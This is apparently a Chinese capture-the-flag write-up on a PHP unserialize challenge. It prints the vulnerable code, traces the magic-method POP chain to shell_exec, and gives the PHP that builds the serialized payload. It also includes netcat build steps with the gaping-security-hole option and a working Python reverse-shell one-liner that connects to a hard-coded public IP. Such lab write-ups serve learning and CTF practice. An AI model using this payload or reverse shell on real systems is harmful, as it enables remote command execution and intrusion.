题目: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php error_reporting(0 ); highlight_file(__FILE__ ); class A { public $A1; public $A2; public function __call ($name,$param ) { if ($this ->{$name}) { $A3 = $this ->{$name}; $A3(); } } public function __get ($wuhu ) { return $this ->A2[$wuhu]; } } class B { public $B1; public $B2; public function __destruct ( ) { $this ->B1->godmi(); } } class C { public $C1; public $C2; public $C3; public function __invoke ( ) { $this ->C2 = $this ->C3.$this ->C1; } } class D { public $D1; public function FLAG ( ) { echo 'DDDD' ; shell_exec($this ->D1); } } class E { public $E1; public $E2; public function __toString ( ) { $this ->E1->{$this ->E2}(); return "1" ; } } $ppppp = $_POST['Troy3e' ]; unserialize($ppppp); ?>
反序列化步骤 很多魔术方法,需要根据逻辑构造pop链:
这里唯一可以自动调用的是B的destruct,在php脚本结束时自动调用
1 2 3 4 public function __destruct ( ) { $this ->B1->godmi(); }
这里调用了一个不存在的函数:米神函数,对应的是__call方法 ,$name和$param对应的是调用中不存在的函数名 和参数 。B(destruct)->A(call)
call中有一个if判断:
1 2 3 4 5 if ($this ->{$name}) { $A3 = $this ->{$name}; $A3(); }
调用了A中的{$name}属性,{}解释器会解释为godmi,就是调用了A中的godmi属性,而此属性不存在,对应的是
__get方法 。B(destruct)->A(call)->A(get)
1 2 3 4 public function __get ($wuhu ) { return $this ->A2[$wuhu]; }
$wuhu这里获取的是不存在的属性名 ,返回的是A2[godmi]。这里要控制的A2[godmi]关联到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public function __call ($name,$param ) { if ($this ->{$name}) { $A3 = $this ->{$name}; $A3(); } } class C { public $C1; public $C2; public $C3; public function __invoke ( ) { $this ->C2 = $this ->C3.$this ->C1; } }
控制A2[godmi]便可控制A3为C的实例化,以函数方法调用C类 ,这里就会触发__invoke方法。而赋值操作中有一个拼接,按字符串形式处理,可以触发E的__toString 方法。
B(destruct)->A(call)->A(get)->A(call)->C(invoke)->E(tostring)
1 2 3 4 5 public function __toString ( ) { $this ->E1->{$this ->E2}(); return "1" ; }
控制E1和E2,就可以调用D中的FLAG方法了!
pop:
B(destruct)->A(call)->A(call)->C(invoke)->E(tostring)->D(FLAG)->shell_exec()
构造反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $c=new C(); $b=new B(); $a=new A(); $e=new E(); $d=new D(); $d->D1='你的命令' ; $e->E1=$d; $e->E2="FLAG" ; $c->C1=$e; $a->A2['godmi' ]=$c; $b->B1=$a; echo '<br>' ;echo serialize($b);
然后就差不多了,可以命令执行了,虽说后来换成了system……
下面是我用shell_exec弹shell的过程,卡了两天才知道要用公网IP……果然还是cai……
服务器部署netcat: 翻了好几个博客总结的,用起来很丝滑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 下载源码包:wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz 解压安装包,tar -zxvf netcat-0.7.1.tar.gz 移动文件到/usr/local下: mv netcat-0.7.1 /usr/local/netcat-0.7.1 重命名: cd /usr/local mv netcat-0.7.1 netcat ./configure --enable-DGAPING_SECURITY_HOLE 编译:make 安装:make install 环境变量暂时未配置成功,但仍可使用,此时: sudo which nc 应可以看到 bin/nc 使用bin/nc即可使用nc命令 或者: wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz tar zxvf netcat-0.7.1.tar.gz cd netcat-0.7.1 ./configure --enable-DGAPING_SECURITY_HOLE make make install
:
反弹shell 虽说靶机上有nc,但一直没有成功……
这里推荐:https://xz.aliyun.com/t/5768#toc-3 很详细
php也可反弹,但是是瞬间反弹……这里用的是python反弹:
1 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("139.224.100.60",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
远程服务器监听4444端口:
反弹成功
执行命令cat flag即可……
好耶!白嫖阿里云服务器真香!!🐕
It is uneasy right??!